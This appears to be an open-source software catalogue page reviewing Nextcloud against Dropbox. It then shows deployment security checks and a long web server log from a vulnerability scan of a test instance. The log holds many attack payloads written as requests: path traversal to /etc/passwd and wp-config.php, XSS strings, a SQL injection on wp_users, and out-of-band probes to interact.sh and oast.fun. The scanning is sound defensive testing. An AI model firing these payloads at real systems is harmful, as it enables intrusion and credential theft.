The App Store for open-source. Curated alternatives to proprietary software — self-hosted and desktop.
Nextcloud — open-source Dropbox alternative | open-source.store
Nextcloud AGPL-3.0 Nextcloud is an open-source Dropbox and Google Drive alternative that pairs private cloud file sync with integrated office editing and calendar apps.
Open-source alternative to — compare it against: Dropbox meters storage tiers and holds encryption keys on remote servers, keeping personal folders tied to monthly subscription plans. Nextcloud moves file hosting and synchronization onto servers under your direct control, removing commercial storage caps while maintaining remote access across desktop and mobile devices.
Why Nextcloud instead of Dropbox
Nextcloud expands traditional file storage into a modular workspace through native service integrations. Where Dropbox operates as a standalone folder synced across devices, Nextcloud connects file storage with in-browser office suites, CalDAV calendars, CardDAV address books, and local communication apps. Users can view photos, coordinate family schedules, edit spreadsheets concurrently in a browser using Collabora Online or OnlyOffice, and mount external drives into a single folder tree. These connections allow households and small groups to replace multiple subscription services with one central portal.
The core trade-off centers on sync architecture and maintenance. Dropbox relies on proprietary block-level delta sync, transferring only modified fragments when a file changes; Nextcloud transmits whole files on revision, which slows updates to large archives or disk images. Moving to Nextcloud also requires an operational decision. While Dropbox handles infrastructure transparently, running Nextcloud involves choosing a managed hosting provider or configuring updates and backups on a home system. Non-technical users opting for managed hosting skip server maintenance, but still choose self-directed data ownership over Dropbox's turnkey ecosystem.
What it does well
Native mobile camera upload: automatically sends photos and videos from iOS or Android to private storage, clearing phone memory without recurring backup fees.
In-browser document collaboration: enables multiple participants to edit documents, spreadsheets, and presentations simultaneously using Collabora Online or OnlyOffice.
Calendar and contact synchronization: syncs schedules, address books, and task lists across phones and laptops using CalDAV and CardDAV standards.
Password-protected public sharing: creates time-limited download links with optional passwords and upload permissions, simplifying photo sharing with friends and family.
One-click app ecosystem: offers hundreds of extensions that enable recipe databases, note collections, and audio players directly inside the interface.
External storage mounting: connects existing external disks and remote buckets into the primary file interface without manual transfers.
Limitations
Full-file synchronization: the sync client lacks block-level delta transfers, requiring complete re-uploads when large files or encrypted containers change, as tracked in GitHub issue #417.
End-to-end encryption bugs: optional folder encryption has triggered recurring reports of broken checksums and stalled sync during directory renames or client updates.
Server cache dependencies: interface performance drops on busy instances or large libraries unless administrators configure Redis caching and transactional file locking.
Basic sync conflict handling: simultaneous offline edits to identical files generate duplicate conflict files locally rather than presenting an interactive resolution prompt.
Who should use it
Families who want a private hub for automatic camera backups, shared calendars, and family folders without per-account subscription pricing.
Privacy-conscious individuals who want remote access to personal archives across computers and phones without exposing data to automated commercial indexing.
Community groups and small clubs that need shared documents, editable meeting notes, and planning tools hosted on trusted local infrastructure.
FAQ Can non-technical users use Nextcloud without running a home server?
Yes. Managed hosting providers run the server installation, updates, and backups, letting you log in through web or mobile apps like any commercial cloud service.
Nextcloud vs Dropbox — which is better for personal file storage?
Dropbox provides faster delta syncing for large files with zero setup, but Nextcloud eliminates monthly storage charges, protects data ownership, and includes calendar and office apps.
Is Nextcloud completely free to use?
Yes. The software is free to run without artificial user caps or storage limits; expenses arise only if you purchase managed hosting or underlying hardware.
Verdict Nextcloud is the most versatile private cloud suite available for users ready to use managed hosting or home hardware, though anyone editing huge binary files needing block-level delta sync may prefer specialized tools. Active development with daily commits and an AGPL-3.0 copyleft license ensures lasting freedom from storage subscriptions and proprietary lock-in. For non-technical individuals wanting private file storage, shared calendars, and office editing in one place, it delivers a dependable foundation.
Cloud Storage & Sync
Change the administrator password under Personal Settings → Security. security: public host — /status.php and /login work for Host oss-verify.example:8080
security: users list requires auth — anonymous GET /ocs/v2.php/cloud/users?format=json → 401 security: create user requires auth — anonymous POST /ocs/v2.php/cloud/users?format=json → 401 security: current user requires auth — anonymous GET /ocs/v2.php/cloud/user?format=json → 401 security: admin settings require auth — anonymous GET /settings/admin → 401 security: files app requires auth — anonymous GET /apps/files/ → 401 security: open protocols — no unauthenticated Redis protocol on public ports security: nuclei scan — no findings Ubuntu 24.04 · Apple container, Docker 29.1.3, Compose 2.40.3+ds1-0ubuntu1~24.04.1. Images pulled in 123 s: postgres:16-alpine, redis:7.4-alpine, nextcloud:35.0.2-apache, nextcloud:35.0.2-apache.
Based on the upstream setup . Official Nextcloud docker-compose with PostgreSQL and Redis. Pinned images to 35.0.2-apache, 16-alpine, and 7.4-alpine; moved database and admin passwords to .env with automated initial installation.
app-1 | 2026-11-02T00:41:36.034559043Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd HTTP/1.1" 404 6815 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.050739793Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /authorized_keys HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.051306710Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /ftpsync.settings HTTP/1.1" 404 6817 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.070131668Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /sites/default/settings.php~ HTTP/1.1" 404 6117 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.071517210Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /app/kibana/ HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.075622793Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /OS/startup/restore/restoreAdmin.php HTTP/1.1" 404 6802 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.7"
app-1 | 2026-11-02T00:41:36.083431626Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /L2mM%3Cbr%3E%3Cbr%3Eplease%20authenticate%3Cbr%3E%3Cbr%3E.childrenlist.html HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.32 Safari/537.36"
app-1 | 2026-11-02T00:41:36.086614626Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 302 1362 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0"
app-1 | 2026-11-02T00:41:36.102485543Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /javax.faces.resources/web.xml.jsf?con=/../../WEB-INF HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) ConnectPC Safari/537.36 Browser"
app-1 | 2026-11-02T00:41:36.129948001Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /jsps/genrequest.jsp?routineName=\"><script>alert(document.domain)</script> HTTP/1.1" 404 6796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:78.0) Gecko/20100101 Firefox/78.0"
app-1 | 2026-11-02T00:41:36.134895668Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /ie50/system/login/SysLoginUser.aspx?Login=Error&Error=%27%29%3Balert%28document%2Edomain%29%3B%2F%2F HTTP/1.1" 404 6800 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.138306876Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /ftpsync.settings HTTP/1.1" 404 6804 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.20"
app-1 | 2026-11-02T00:41:36.142976751Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /index.php?option=com_jfeedback&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 302 1356 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.144664210Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /5txf%3Cbr%3E%3Cbr%3Eplease%20authenticate%3Cbr%3E%3Cbr%3E.childrenlist.html HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.146205710Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /settings.xml HTTP/1.1" 404 6798 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
app-1 | 2026-11-02T00:41:36.147013210Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /magmi/web/magmi.php?configstep=2&profile=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 404 6794 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36"
app-1 | 2026-11-02T00:41:36.147161335Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /settings.xml HTTP/1.1" 404 6800 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.149871043Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd HTTP/1.1" 404 6794 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
app-1 | 2026-11-02T00:41:36.153275835Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /.authorized_keys HTTP/1.1" 404 6117 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.3 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.159028210Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /javax.faces.resources/web.xml.jsf?loc=/../../WEB-INF HTTP/1.1" 404 6798 "-" "Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.167134626Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 6813 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.4.24"
app-1 | 2026-11-02T00:41:36.169346293Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /index.php?option=com_jfeedback&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 302 1358 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/12.0"
app-1 | 2026-11-02T00:41:36.181707210Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20onerror=alert(document.domain)%20b=%27 HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.14"
app-1 | 2026-11-02T00:41:36.184512793Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /ie50/system/login/SysLoginUser.aspx?Login=Error&Error=%27%29%3Balert%28document%2Edomain%29%3B%2F%2F HTTP/1.1" 404 6802 "-" "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.197725835Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP/1.1" 302 660 "-" "Mozilla/5.0 (Windows NT 6.2; rv:140.0.) Gecko/20100101 Firefox/140.0."
app-1 | 2026-11-02T00:41:36.207783918Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /metrics/healthcheck HTTP/1.1" 404 6794 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Safari/537.36"
app-1 | 2026-11-02T00:41:36.232690293Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /metrics/healthcheck HTTP/1.1" 404 6808 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36"
app-1 | 2026-11-02T00:41:36.232698668Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500 HTTP/1.1" 302 1358 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.232706918Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /perfsonar-graphs/cgi-bin/graphData.cgi?action=ma_data&url=http://oast.fun/esmond/perfsonar/archive/../../../&src=8.8.8.8&dest=8.8.4.4 HTTP/1.1" 404 6798 "-" "Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.241837001Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /position.js HTTP/1.1" 404 6815 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.253348501Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500 HTTP/1.1" 302 1362 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.255277085Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 302 1358 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.271088293Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /wp-content/plugins/meta-box/readme.txt HTTP/1.1" 404 6802 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.273437585Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20onerror=alert(document.domain)%20b=%27 HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0"
app-1 | 2026-11-02T00:41:36.283445168Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /Dockerfile HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.294131418Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /wp-content/plugins/meta-box/readme.txt HTTP/1.1" 404 6802 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0"
app-1 | 2026-11-02T00:41:36.294138876Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /app/kibana/ HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
app-1 | 2026-11-02T00:41:36.294140460Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /position.js HTTP/1.1" 404 6802 "-" "Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.297762543Z 127.0.0.1 - - [02/Nov/2026:00:41:36 +0000] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.4.69 (Debian) PHP/8.5.12 (internal dummy connection)"
app-1 | 2026-11-02T00:41:36.298713251Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /.authorized_keys HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
app-1 | 2026-11-02T00:41:36.316823418Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /Dockerfile HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.4"
app-1 | 2026-11-02T00:41:36.341341293Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /OS/startup/restore/restoreAdmin.php HTTP/1.1" 404 6800 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586"
app-1 | 2026-11-02T00:41:36.351864710Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /index.php?option=com_gcalendar&controller=../../../../../etc/passwd%00 HTTP/1.1" 302 1354 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.351909335Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /javax.faces.resources/faces-config.xml.jsf?loc=/../../WEB-INF HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (watchTowr; Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"
app-1 | 2026-11-02T00:41:36.365886543Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /index.php?option=com_gcalendar&controller=../../../../../etc/passwd%00 HTTP/1.1" 302 1362 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.400922626Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /sites/default/settings.php.bak HTTP/1.1" 404 6117 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.411094001Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /atmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/91.0"
app-1 | 2026-11-02T00:41:36.415866793Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /org_execl_download.action?filename=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 404 6802 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Mobile/15E148 Safari/604.1"
app-1 | 2026-11-02T00:41:36.418198043Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /wp-content/plugins/hb-audio-gallery-lite/gallery/audio-download.php?file_path=../../../../wp-config.php&file_size=10 HTTP/1.1" 404 6800 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.432534126Z 192.168.65.225 - - [02/Nov/2026:00:41:35 +0000] "GET /sites/default/settings.php.bak HTTP/1.1" 404 6117 "-" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.432941501Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Finteract.sh HTTP/1.1" 404 6819 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.437327376Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /wp-content/plugins/hb-audio-gallery-lite/gallery/audio-download.php?file_path=../../../../wp-config.php&file_size=10 HTTP/1.1" 404 6798 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
app-1 | 2026-11-02T00:41:36.437411543Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /api?path=files&id=dfsse%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ez1668cyj2pi&revision=%22%22&type=%22thumb%22&command=url&expires=1687785968527 HTTP/1.1" 404 6798 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:140.0) Gecko/20100101 Firefox/140.0"
app-1 | 2026-11-02T00:41:36.439547876Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /lang/log/system.log HTTP/1.1" 404 6817 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.439587168Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /.m2/settings.xml HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
app-1 | 2026-11-02T00:41:36.444583835Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /nagios/cgi-bin/status.cgi HTTP/1.1" 404 6796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0"
app-1 | 2026-11-02T00:41:36.448747168Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /arcade.php?act=Arcade&do=stats&comment=a&s_id=1' HTTP/1.1" 404 6817 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; it-it) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27"
app-1 | 2026-11-02T00:41:36.458612335Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /arcade.php?act=Arcade&do=stats&comment=a&s_id=1' HTTP/1.1" 404 6800 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:30.0) Gecko/20100101 Firefox/30.0"
app-1 | 2026-11-02T00:41:36.460874376Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /nagios/cgi-bin/status.cgi HTTP/1.1" 404 6806 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.461368543Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /pages/setup.php?defaultlanguage=..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 404 6821 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10"
app-1 | 2026-11-02T00:41:36.462853876Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /org_execl_download.action?filename=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 404 6796 "-" "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.463572876Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /metrics/metrics HTTP/1.1" 404 6117 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.466386543Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /pages/setup.php?defaultlanguage=..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 404 6798 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.12"
app-1 | 2026-11-02T00:41:36.469104751Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /api?path=files&id=dfsse%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ez1668cyj2pi&revision=%22%22&type=%22thumb%22&command=url&expires=1687785968527 HTTP/1.1" 404 6808 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.470865376Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /lang/log/system.log HTTP/1.1" 404 6798 "-" "Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.475930126Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /javax.faces.resources/web.xml.jsf?con=/../../WEB-INF HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.480961210Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Finteract.sh HTTP/1.1" 404 6798 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.489032668Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /metrics/metrics HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0"
app-1 | 2026-11-02T00:41:36.490338793Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /index.php?option=com_jcollection&controller=../../../../../../../etc/passwd%00 HTTP/1.1" 302 1358 "-" "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.491237001Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET / HTTP/1.1" 302 1366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0"
app-1 | 2026-11-02T00:41:36.492135626Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /index.php?option=com_jcollection&controller=../../../../../../../etc/passwd%00 HTTP/1.1" 302 1360 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
